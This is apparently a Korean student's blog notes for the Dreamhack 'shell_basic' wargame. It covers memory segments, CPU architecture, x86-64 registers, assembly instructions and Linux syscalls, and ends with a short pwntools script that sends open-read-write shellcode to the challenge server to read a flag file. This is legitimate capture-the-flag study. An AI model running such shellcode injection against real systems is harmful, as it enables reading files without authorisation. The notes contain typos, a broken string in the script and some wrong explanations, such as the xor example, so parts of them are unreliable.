EYEN

Dreamhack-Shell_basic 본문

Wargame/pwn

Dreamhack-Shell_basic

EYEN 2023. 1. 17. 17:57

 
 
컴퓨터는 크게 cpu와 메모리로 구성되어 있습니다. 
 

cpu는 실행할 명령어와 명령어 처리에 필요한 데이터를 메모리에서 읽고, instruction ser architecture에 따라 이를 처리합니다. 
 
공격자가 메모리를 조작할 수 있다면 조작된 메모리 값에 의해 cpu도 잘못된 동작을 할 수 있다. 이를 메모리가 오염됐다고 표현하며 이를 메모리 오염 취약점이라고 부른다. 리눅스 메모리 구조- 프로세스 가상메모리의 각 구역이 어떤 정보를 담고 있는지 이해해보자
 
세그먼트

 
프로세스의 메모리를 용도별로 5가지의 세그먼트로 구분한다. 
프로그램이 실행되면서 
세그먼트를 자세히 이해하려면 운영체제의 메모리 관리 기법 중 하나인 세그멘테이션 기법과 인텔x64에서 관련된 하드웨어의 설계를 알아야한다. 
 
코드세그먼트
실행 가능한 기계 코드가 위치하는 영역으로 텍스트 세그먼트라고도 불린다. 
이곳에는 읽기 권한과 실행권한이 부여된다. 쓰기 ㅜ건한이 있으면 공격자가 악의적인 코드를 삽입하기가 쉬워지므로 현대 운영체제는 이 세그먼트에 쓰기 권한을 제거한다. 
3
 
데이터세그먼트
컴파일 시점에 값이 정해진 전역 변수 및 전역 상수들이 위치한다. cpu가 이 세그먼트의 데이터를 읽을 수 있어야 하므로, 읽기  권한이 부여된다.
데이터 세그먼트는 쓰기가 가능한 세그먼트와 쓰기가 불가능한 세그먼트로 분류된다. 쓰기가 가능한 세그먼트는 전역 변수와 같이 프로그램이 실행되면서 값이 변할 수 있는 데이터들이 위치한다. 이런 세그먼트는 data 세그먼트라고 한다.
값이 변하면 안되는 데이터들, 전역으로 선언된상수가 저장되는 곳은 rodata 세그먼트이다.
 
bss 세그먼트
bss 세그먼트는 컴파일 시점에 값이 정해지지 않은 전역 변수가 위치하는 메모리 영역이다. 개발자가 선언만 하고 초기화하지 않은 전역 변수 등이 포함된다. 이 세그먼트의 메모리 영역은 프로그램이 시작될 때 모두 0으로 값이 초기화된다. 
그래서 c코드를 작성할 때 초기화되지 않은 전역 변수의 값은 0이 된다. 
 
이 세그먼트에는 읽기 권한 및 쓰기 권한이 부여된다.
아래 코드에서 초기화되지 않은 전역 변수인 bss_data가 bss 세그먼트에 위치하게 된다. 
스택 세그먼트
프로세스이 스택이 위치하는 여역이다. 함수의 인자나 지역 변수와 같은 임시 변수들이 실행중에 여기에 저장된다. 스택 세그먼트는 스택 프레임이라는 단위로 사용된다. 스택 프레임은 함수가 호출 될 때 생성되고, 반환될 때 해제된다. 힙이랑 뭐가 다름............? 운영체제는 프로세스를 시작할 때 작은크기의 스택 세그먼트를 먼저 할당해주고 부족해 질 때마다 이를 확장해준다. 스택에 대해 아래로 자란다라는 표현을 종종 사용하는데 스택이 확장될 때 기존 주소보다 낮은 주소로 확장되기 때문이다. 
 
힙 세그먼트
힙 데이터가 위치하는 세그먼트이다. 스택과 마찬가지로 실행중에 동적으로 할당될수 있으며 리눅스에서는 스택 세그먼트와 반대 방향으로 자란다. c언어에서 malloc, calloc등을 호출해서 할당받는 메모리가 이 세그먼트에 위치하게 되며, 일반적으로 읽기와 쓰기 권한이 부여된다. 
 

Computer Architecture

 
CPU는 컴퓨터의 작동에 핵심이 되는 연산을 처리하고 저장장치는 데이터를 저장한다. GPU는 그래픽 데이터를 랜카드는 네트워크 통신을, 사운드 카드는 소리 데이터를 처리하는 것에 특화되어 있다.  각 부품들은 특징이 뚜렷하여 컴퓨터에서 고유의 기능을 수행한다. 서로 다른 부품들이 모여서 컴퓨터라는 하나의 기계로서 작동할 수 있는 것은 컴퓨터에 대한 기본 설계가 존재하기 때문이다. 이 설계에 맞춰서 여러 하드웨어가 개발되고 이들을 조립해서 컴퓨터가 완성된다. 컴퓨터 과학에서는 이러한 설계를 컴퓨터 구조라고 부른다.
 
1. 컴퓨터 구조
컴퓨터 구조란 컴퓨터가 효율적으로 작동할 수 있도록 하드웨어 및 소프트ㅜ에어의 기능을 고안하고, 이들을 구성하는 방법을 말한다. 컴퓨터 구조는 컴퓨터의 기능 구조에 대한 설계, 명령어 집합구조, 마이크로 아키텍처, 기타 하드웨어 및 컴퓨팅 방법에 대한 설계 
컴퓨터의 기능 구조에 대한 설계란 컴퓨터가 연산을효율적으로 하기 위해 어떤 기능들이 컴퓨터에 필요한지 고민하고, 설계하는 분야입니다.
폰 노이만 구조, 하버드 구조, 수정된 하버드 구조가 있습니다.
 
CPU의 명령어에 대한 설계는 명령어 집합구조라고 불리며, CPU가 처리해야하는 명령어를 설계하는 분야입니다. 대표적으로 ARM, MIPS, AVR, 인텔의 x86및 x86-64 등이 있습니다.
 
CPU의 하드웨어적 설계는 마이크로 아키텍처라고 불리며 정의된 명령어 집합을 효율적으로 처리할 수 있도록, CPU의 회로를 설계하는 분야입니다.
 
컴퓨터의 기능 구조에 대한 설계
1. 폰노이만 구조
2. 하버드 구조
3. 수정된 하버드 구조
 
1. 폰 노이만 구조
    연산, 제어, 저장의 세 가지 핵심 기능이 필요하다고 생각했다. 
    근대의 컴퓨터는 연산과 제어를 위해 중앙처리장치를 저장을 위해 기억장치를 사용한다. 장치 간에 데이터나 제어 신호를 교환할 수 있도록 버스라는 전자 통로를 사용한다. 
 
중앙처리 장치: 프로세스의 코드를 불러오고, 실행하고, 결과를 저장하는 과정이 일어난다. 산술논리장치과 제어장치 레지스터로 구성된다. 
 
기억장치: 여러 데이터를 저장하기 위해 사용되며 용도에 따라 주기억장치와 보조기억장치로 분류된다. 램(Random-Access Memory)가 있다. 이와 반대로 보조기억장치는 운영체제, 프로그램등과 같은 데이터를 장기간 보관하고자 할 때 사용된다. 대표적으로 하드 드라이브, SSD가 있다. 
 
버스: 컴퓨터 부품과 부품 사이 또는 컴퓨터와 컴퓨터 사이에 신호를 전송하는 통로이다. 데이터가 이동하는 데이터 버스, 주소를 지정하는 주소 버스, 읽기/쓰기를 제어하는 제어버스가 있다. 이외에 랜선이나 데이터 전송 소프트웨어, 프로토콜 등도 버스라고 불린다. 
 
기억장치가 있지만 CPU 안에도 레지스터가 필요한 이유
CPU는 굉장히 빠른 속도로 연산을 처리하는데, 이를 위해 데이터의 빠른 교환이 필요하다.
CPU도 필요한 데이터를 빠르게 공급하고 반출할 수 있어야 자신의 효율을 제대로 발휘할 수 있다. CPU의 연산속도가 기억장치와의 데이터 교환속도보다 압도적으로 빠르기 때문에 기억장치만을 사용하면 병목현상이 발생한다. 따라서 CPU는 교환속도를 획기적으로 단축하기 위해 레지스터와 캐시라는 저장장치를 내부에 갖고 있다. 
 
마이크로 아키텍처
1. 캐시 설계
2. 파이프라이닝
3. 슈퍼 스칼라
4. 분기 예측
5. 비순차적 명령어 처리
 
하드웨어 및 컴퓨터 방법론
1. 직접 메모리 접근
 
명령어 집합구조(ISA)
CPU가 해석하는 명령어의 집합을 의미합니다. 프로그램은 기계어로 이루어져 있는데, 프로그램을 실행하면 이 명령어들을 CPU가 읽고, 처리한다. 모든 컴퓨터가 동일한 수준의 연산 능력을 요구하지 않으며, 컴퓨팅 환경도 다양하기 때문에 다양한 명령어 집합구조가 존재한다. 많은 임베디드 장비들은 안정적으로 전력을 공급할 수 없고 냉각 장치를 구비하는 데 있어서 공간상의 부담이 크므로 고성능 프로세서 인텔보다는 ARM이나 MIPS AVR의 프로세서를 사용한다. 
 
2. x86 x86-64
   n비트 아키텍처
64와 32는 CPU가 한번에 처리할 수 있는 데이터의 크기이다. 컴퓨터과학에서는 이를 CPU가 이해할 수 있는 데이터의 단위라는 의미에서 WORD라고 부른다. WORD의 크기는 CPU가 어떻게 설계됐느냐에 따라 달라진다. 예를 들어, 일반적인  32비트 아키텍처에서 ALU는 32비트까지 계산할수 있으며 레지스터의 용량 및 각종 버스들의 대역폭이 32 비트이다. 따라서 이들로 구성된 CPU는 설계상 32비트의 데이터까지만 처리할수 있다

현대의 PC는 대부분 64비트 아키텍처의 CPU를 사용하는데, 그 이유 중 하나는 32비트 아키텍처의 CPU가 제공할 수 있는 가상메모리의 크기가 작다. 가상메모리는 CPU가 프로세스에게 제공ㅇ하는 가상의 메모리 공간인데, 32비트 아키텍처에서는 4기가바이트가 최대로 제공 가능한 가상메모리의 크기이다. 일상적으로 사용하기에는 적절할 수 있지만, 많은 메모리 자원을 소모하는 전문 소프트웨어나 고사양의 게임등을 실행할 때는 부족할 수 있다.
반명 64비트 아키텍처에서는 이론상 16엑사 바이트의 가상메모리를 제공할 수 있다. 부족할 리가 없는 양이다. 
 
레지스터는 CPU가 데이터를 빠르게 저장하고 사용할 때 이용하는 보관소이며, 산술 연산에 필요한 데이터ㅓ를 저장하거나 주소를 저장하고 참조하는 등 다양한 용도로 사용된다. X64 아키텍처에는 범용레지스터(General Register), 세그먼트 레지스터(Segment Register), 명령어 포인터 레지스터(Instruction Pointer Register, IP) 플래그 레지스터 
 
범용 레지스터 
  범용 레지스터는 x86에서는 8바이트를 저장할 수 있으며, 부호 없는 정수를 기준으로 2^64-1 까지의 수를 나타낼 수 있다.
이름                                                                      주용도

rax (accumulator register)함수의 반환 값
rbx (base register)x64에서는 주된 용도 없음
rcx (counter register)반복문의 반복 횟수, 각종 연산의 시행 횟수
rdx (data register)x64에서는 주된 용도 없음
rsi (source index)데이터를 옮길 때 원본을 가리키는 포인터
rdi (destination index)데이터를 옮길 때 목적지를 가리키는 포인터
rsp (stack pointer)사용중인 스택의 위치를 가리키는 포인터
rbp (stack base pointer)스택의 바닥을 가리키는 포인터

x64에는 r8, r9, ... r15까지의 범용레지스터가 더 존재한다. 
 
세그먼트 레지스터
x64 아키텍처에는 cs,ss, ds, es, fs, gs 총 6가지 세그먼트 레지스터가 존재하며 각 레지스터의 크기는 16비트이다. 세그먼트 레지스터는 x64로 아키텍처가 확장되면서 용도에 큰 변화가 생긴 레지스터이다. IA-32, IA-16에서는 세그먼트 레지스터를 이용하여 사용 가능한 물리 메모리의 크기를 키우려고 했다. 예를 들어 IA-16에서는 어떤 주소를 cs:offset이라고 한다면 실제로는 cs<<4+offset의 주소를 사용하여 16비트 범위에서 접근할 수 없는 주소에 접근할 수 있다. 당시에는 범용 레지스터의 크기가 작아서 사용 가능한 메모리의 주소 폭이 좁았지만, x64에서는 사용 가능한 주소 영역이 굉장히 넓기 때문에 이런 용도로는 거의 사용되지 않는다. 현대의 x64에서 cs, ds,ss 레지스터는 코드 영역과 데이터, 스택 메모리 영역을 가리킬 때 사용되고, 나머지 레지스터는 운영체제 별로 용도를 결정핤 ㅜ있
 
플래그 레지스터
프로세서의 현재 상태를 저장하고 있는 레지스터이다. x64아키텍처에서는 RFLAGS라고 불리는 64비트 크기의 플래그 레지스터가 존재하며 과거 16비트 플래그 레지스터가 확장된 것이다.
20여개의 비트만 사용해 플래그를 표현하며 자주 표현하는 것은 다음과 같다. 
 
명령어 포인터 레지스터
프로그램은 일련의 기계어 코드들로 이루어져 있다. 이 중에서 CPU가 어느 부분의 코드를 실행할 지 가리키ㅡㄴ 게 명령어 포인터 레지스터의 역할이다. x64 아키텍처의 명령어 레지스터는 rip이며 크기는 8바이트이다. 
플래그의미

CF(Carry Flag)부호 없는 수의 연산 결과가 비트의 범위를 넘을 경우 설정 됩니다.
ZF(Zero Flag)연산의 결과가 0일 경우 설정 됩니다.
SF(Sign Flag)연산의 결과가 음수일 경우 설정 됩니다.
OF(Overflow Flag)부호 있는 수의 연산 결과가 비트 범위를 넘을 경우 설정 됩니다.

a-b=음수=> 플래그 값은 SF가 되고, 그러면 CPU는 SF를 통해 a가 b보다 작았음을 알 수 있다.
 
레지스터 호환
앞에서 x86-64 아키텍처는 IA-32의 64비트 확장 아키텍처이며, 호환이 가능하다고 했다 CPU의 레지스터들은 32비트 크기를 가지며 명칭은 eax, ebx, ecx, e~~ 인데, x86-64에서는 e~는 하위 32비트를 가르킨다. 또한 16비트 아키텍처인 IA-16과의 호환을 위해 ax, bx, cx, dx,~~ 는 eax ebx e~~의 하위 16비트를 가르킨다. 
 

 

  • 범용 레지스터(General Register): 주 용도는 있으나, 그 외의 용도로도 자유롭게 사용할 수 있는 레지스터. x64에는 rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, r8-r15가 있다.
  • 세그먼트 레지스터(Segment Register): 과거에는 메모리 세그멘테이션이나, 가용 메모리 공간의 확장을 위해 사용됐으나, 현재는 주로 메모리 보호를 위해 사용되는 레지스터 x64에는 cs, ss, ds, es, fs, gs가 있다.
  • 플래그 레지스터(Flag Register): CPU의 상태를 저장하는 레지스터
  • 명령어 포인터 레지스터(Instruction Pointer Register, IP): CPU가 실행해야할 코드를 가리키는 레지스터. x64에서는 rip가 있다.

해커의 언어: 어셈블리
기계어-> 어셈블리어로 번역 = 역어셈블러
ISA는 기계어마다 다르고, ISA는 IA-32, x86-64, ARM, MIPS 등 종류가 굉장히 다양하다.
따라서 이들의 종류만큼 많은 수의 어셈블리어가 존재한다. x64의 세계에는 x64의 어셈블리어가 있고 ARM의 세계에는 ARM의 어셈블리어가 있다. 
 
인텔의 x64에는 매우 많은 명령어가 존재한다. 중요한 21개의 명령어가 있다. 
명령 코드

데이터 이동(Data Transfer)mov, lea
산술 연산(Arithmetic)inc, dec, add, sub
논리 연산(Logical)and, or, xor, not
비교(Comparison)cmp, test
분기(Branch)jmp, je, jg
스택(Stack)push, pop
프로시져(Procedure)call, ret, leave
시스템 콜(System call)syscall

피연산자에는 총 3가지 종류가 올 수 있다.
상수, 레지스터, 메모리
 
메모리 피연산자는 []으로 둘러싸인 것으로 표현되며, 앞에 크기 지정자 TYPE PTR이 추가될 수 있다. 여기서 타입에는 BYTE, WORD, DWORD, QWORD가 올 수 있으며 각각 1바이트, 2바이트, 4바이트, 8바이트의 크기를 지정한다. 
 
메모리 피연산자의 예
QWORD PTR[0x8048000] 0x8048000의 데이터를 8바이트만큼 참조
WORD PTR[rax] rax가 가르키는 주소에서 데이터를 2바이트만큼 참조
 
x86-64 어셈블리 명령어
 
데이터 이동
데이터 이동 명령어는 어떤 값을 레지스터나 메모리에 옮기도록 지시한다. 
mov dst, src: src에 들어있는 값을 dst에 대입

mov rdi, rsirsi의 값을 rdi에 대입
mov QWORD PTR[rdi], rsirsi의 값을 rdi가 가리키는 주소에 대입
mov QWORD PTR[rdi+8*rcx], rsirsi의 값을 rdi+8*rcx가 가리키는 주소에 대입

 
lea dst, src : src의 유효주소(Effective address, EA)를 dst에 저장

lea rsi, [rbx+8*rcx]rbx+8*rcx 를 rsi에 대입

산술 연산 명령어는 덧셈, 뺄셈, 곱셈, 나눗셈 연산을 지시한다. 
add dst, src: dst에 src의 값을 더한다.

add eax, 3eax += 3
add ax, WORD PTR[rdi]ax += *(WORD *)rdi

 
sub dst, src: dst에서 src의 값을 뺸다.

sub eax, 3eax -= 3
sub ax, WORD PTR[rdi]ax -= *(WORD *)rdi

 
inc op: op의 값을 1 증가시킴

inc eaxeax += 1

 
dec op: op의 값을 1 감소시킴

dec eaxeax -= 1

 
 

 

논리 연산 - and &or
논리 연산 명령어는 and, or, xor, neg 등의 비트 연산을 지시한다. 이 연산은 비트 단위로 이루어진다.
and dst, src: dst와 src의 비트가 모두 1이면 1, 아니면 0
1이면 dst에 저장

 

 
xor dst, src: dst와 src의 비트가 서로 다르면 1, 같으면 0

eax= 0xffffffff을 2진수로 한 것(비트화) 
ebx= 0xcafebabe을 2진수로 한 것(비트화)
에서 xor 실시하면 결과는 16진수에서 eax-ebx한 값이 됨.
not op: op의 비트 전부 반전
 

 
 
cmp op1, op2: op1과 op2를 비교
두 피연산자를 빼서 대소를 비교하고 연산의 결과는 op1에 대입하지 않는다. 
예를 들어, 서로 같은 두 수를 빼면 경과가 0이 되어 ZF플래그가 설정된다. 이후에 CPU는 이 플래그를 보고 두 값이 같았는지 판단할 수 있다. 
 
test op1, op2: op1과 op2를 비교
두 피연산자에 AND 비트연산을 취하고 연산의 결과를 op1에 대입하지 않는다.  
예를 들어, 0인 rax를 op1,op2로 연산하면 결과가 0이므로 ZF플래그가 설정되어 이후에 CPU는 이 플래그를 보고 rax가 0이었는지 판단할 수 있다. 
 
분기
분기명령어는 rip를 이동시켜 실행 흐름을 바꾼다. 
분기문은 여기 소개된 것 외에도 굉장히 많은 수가 존재한다.
jmp addr: addr로 rip를 이동시킨다. 
je addr: 직전에 비교한 두 피연산자가 같으면 점프
jg addr: 직전에 비교한 두 연산자 중 전자가 더 크면 점프
 
스택
push val: val을 스택 최상단에 쌓음
연산
rsp -= 8
[rsp] = val

예제결과
[Register]
rsp = 0x7fffffffc400

[Stack]
0x7fffffffc400 | 0x0 <= rsp
0x7fffffffc408 | 0x0
[Code]push 0x31337
[Register]
rsp = 0x7fffffffc3f8

[Stack]
0x7fffffffc3f8 | 0x31337 <= rsp
0x7fffffffc400 | 0x0
0x7fffffffc408 | 0x0

pop reg : 스택 최상단의 값을 꺼내서 reg에 대입
 
연산
rsp += 8
reg = [rsp-8]

예제결과
[Register]
rax = 0
rsp = 0x7fffffffc3f8

[Stack]
0x7fffffffc3f8 | 0x31337 <= rsp
0x7fffffffc400 | 0x0
0x7fffffffc408 | 0x0

[Code]
pop rax
[Register]
rax = 0x31337
rsp = 0x7fffffffc400

[Stack]
0x7fffffffc400 | 0x0 <= rsp
0x7fffffffc408 | 0x0

 
opcode: 프로시저
프로시저는 특정 기능을 수행하는 코드 조각을 말한다. 프로시저를 사용하면 반복되는 연산을 프로시저 호출로 대체할 수 있어서 전체 코드의 크기를 줄일 수 있고 기느별로 코드 조각에 이름을 붙일 수 있게 되어 코드의 가독성을 크게 높일 수 있다.
 
프로시저를 부르는 행위를 호출(call)이라고 부르며 프로시저에서 돌아오는 것을 반환(return)이라고 부른다. 프로시저를 호출할 때는 프로시저를 실행하고 나서 원래의 실행 흐름으로 돌아와야하므로, call 다음의 명령어 주소(return address를 스택에 저장하고 프로시저로 rip를 이동시킨다. 
 
call addr
 
push return_address
jmp addr
 
주소-> 스택
rip-> 프로시저
 
push return_address
jmp addr

예제결과
[Register]
rip = 0x400000
rsp = 0x7fffffffc400

[Stack]
0x7fffffffc3f8 | 0x0
0x7fffffffc400 | 0x0 <= rsp

[Code]
0x400000 | call
0x401000 <= rip
0x400005 | mov esieax
...
0x401000 | push rbp
[Register]
rip = 0x401000
rsp = 0x7fffffffc3f8

[Stack]
0x7fffffffc3f8 | 0x400005 <= rsp
0x7fffffffc400 | 0x0

[Code]
0x400000 | call 0x401000
0x400005 | mov esi, eax
...
0x401000 | push rbp <= rip

leave: 스택프레임 정리
mov rsp, rbp
pop rbp

예제결과
[Register]
rsp = 0x7fffffffc400
rbp = 0x7fffffffc480

[Stack]
0x7fffffffc400 | 0x0 <= rsp
...
0x7fffffffc480 | 0x7fffffffc500 <= rbp
0x7fffffffc488 | 0x31337

[Code]
leave
[Register]
rsp = 0x7fffffffc488
rbp = 0x7fffffffc500

[Stack]
0x7fffffffc400 | 0x0
...
0x7fffffffc480 | 0x7fffffffc500
0x7fffffffc488 | 0x31337 <= rsp
...
0x7fffffffc500 | 0x7fffffffc550 <= rbp

 
ret: return address로 반환
 
pop rip

예제결과
[Register]
rip = 0x401008
rsp = 0x7fffffffc3f8

[Stack]
0x7fffffffc3f8 | 0x400005 <= rsp
0x7fffffffc400 | 0

[Code]
0x400000 | call
0x4010000x400005 | mov esi, eax
...
0x401000 | mov rbp, rsp
...
0x401007 | leave
0x401008 | ret <= rip
[Register]
rip = 0x400005
rsp = 0x7fffffffc400

[Stack]
0x7fffffffc3f8 | 0x400005
0x7fffffffc400 | 0x0 <= rsp

[Code]
0x400000 | call 0x401000
0x400005 | mov esi, eax <= rip
...
0x401000 | mov rbp, rsp
...
0x401007 | leave
0x401008 | ret

 
운영체제는 연결된 모든 하드웨어 및 소프트웨어에 접근할 수 있으며, 이들을 제어할 수도 있다.
그리고 해킹으로부터 보호를 위해 커널모드와 유저 모드로 권한을 나눈다.
 
커널모드는 운영체제가 전체시스템을 제어하기 위해 시스템 소프트웨어에 부여하는 권한
파일시스템, 입출력, 네트워크 통신, 메모리 관리 등 모든 저수준의 작업은 사용자 모르게 커널 모드에서 진행된다. 커널모드에서는 시스템의 모든 부분을 제어할 수 있기 때문에, 해커가 커널모드까지 진입하게 되면 시스템은 거의 무방비 상태가 된다. 이에 대해서는
 
유저모드는 운영체제가 사용자에게 부여하는 권한
브라우저를 이용하여 드림핵을 보거나, 유튜브를 시청하는 것, 게임을ㄹ 하고 프로그래밍을 하는 것 등은 모두 유저 모드에서 이루어진다. 리눅스에서 루트 권한으로 사용자를 추가하고 패키지를 내려 받는 행위도 마찬가지 이다. 유저 모드에서는 해킹이 발생해도 해커가 유저모드의 권한까지밖에 획득하지 못하기 때문에 해커로부터 커널의 막강한 권한을 보호할 수 있다.
 
시스템 콜은 유너모드에서 커널모드의 시스템 소프트웨어에게 어떤 동작을 요청하기 위해 사용된다. 소프트웨어 대부분은 커널의 도움이 필요하다. 예를 들어, 사용자가 cat flag를 실행하면 cat은 flag라는 파일을 읽어서 사용자의 화면에 출력해줘야한다. 그런데 flag는 파일 시스템에 존재하므로 이를 읽으려면 파일시스템에 접근할 수 있어야한다. 유저모드에서는 이를 직접 할 수 없으므로 커널이 도움을 줘야 한다. 여기서 도움이 필요하다는 요청을시스템콜이라고 한다. 유저모드의 소프트웨어가 필요한 도움을 요청하면 커널이 요청한 동작을 수행하여 유저에게 결과를 반화한다.
x64아키텍쳐에서는 시스템콜을 위해 syscall 명령어가 있다. 
 

 
opcode: 시스템 콜
시스템 콜은 함수이다. 필요한 기능과 인자에 대한 정보를 레지스터로 전달하면 ,커널이 이를 읽어서 요청을 처리한다 리눅스에서는 x64아키텍쳐에서 rax로 무슨 요청인지 나타내고 아래의 순서대로 필요한 인자를 전달한다. 
요청: rax
인자 순서: rdi → rsi → rdx → rcx → r8 → r9 → stack

예제해석
[Register]
rax = 0x1
rdi = 0x1
rsi = 0x401000
rdx = 0xb

[Memory]
0x401000 | "Hello Wo"
0x401008 | "rld"

[Code]
syscall
 

rax가 0x1이므로 write 시스템콜
write 함수의 각 인자는 출력 스트림, 출력 버퍼, 출력 길이를 나타낸다. 
0x1은 stdout이며, 이는 일반적으로 화면을 의미한다. 0x401000에는 helloworld가 저장되어있고 길이는 0xb로 지정되어 있으므로 화면에 hello world가 출력된다.
 

syscallraxarg0 (rdi)arg1 (rsi)arg2 (rdx)
read0x00unsigned int fdchar *bufsize_t count
write0x01unsigned int fdconst char *bufsize_t count
open0x02const char *filenameint flagsumode_t mode
close0x03unsigned int fd  
mprotect0x0aunsigned long startsize_t lenunsigned long prot
connect0x2aint sockfdstruct sockaddr * addrint addrlen
execve0x3bconst char *filenameconst char *const *argvconst char *const *envp

1. 스택
- push val: rsp를 8만큼 빼고, 스택 최상단에 val을 쌓는다.
- pop reg: 스택의 최상단의 값을 reg에 넣고 rsp를 8만큼 더한다. 
 
 
 
 
exploit tech: shellcode
 
셸코드 개념
셸코드란 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다. 셸을 획득하기 위한 목적으로 셸코드를 사용해서 셸이 접두사로 붙었다. 
 
 
orw 셸코드 작성 및 디버깅
orw셸코드는 파일을 열고 읽은 뒤 화면에 출력해주는 셸코드이다. /tmp/flag를 읽는 코드는
 
char buf[0x30];
int fd=open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1,buf,0x30);
 
 

from pwn import *

p=remote("host3.dreamhack.games", 10606")
path="/home/shell_basic/flag_name_is_loooooong"

context.arch="amd64"

shellcode=shellcraft.open(path) #open path에 있는 파일을 인자로 갖고 open함수를 call 한다. e
shellcode+=shellcraft.read('rax', 'rsp', 0x100) #fd 반환값이 rax에 반환되므로 해당 fd에서 0x100만큼 읽어서 rsp에 저장한다는 뜻
shellcode+=shellcraft.write(1, 'rsp', 0x100) #rsp를 0x100만큼 출력한다는 뜻 

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())

 

 

'Wargame > pwn' 카테고리의 다른 글

Dreamhack-basic_rop_x64  (0) 2023.02.17
Dreamhack-stack canary/ r2s  (0) 2023.01.29
Dreamhack-basic_exploitation_000  (0) 2023.01.29
Dreamhack-shell_basic  (0) 2023.01.26
dreamhack shellbasic- 쉘코드에 대해  (0) 2023.01.26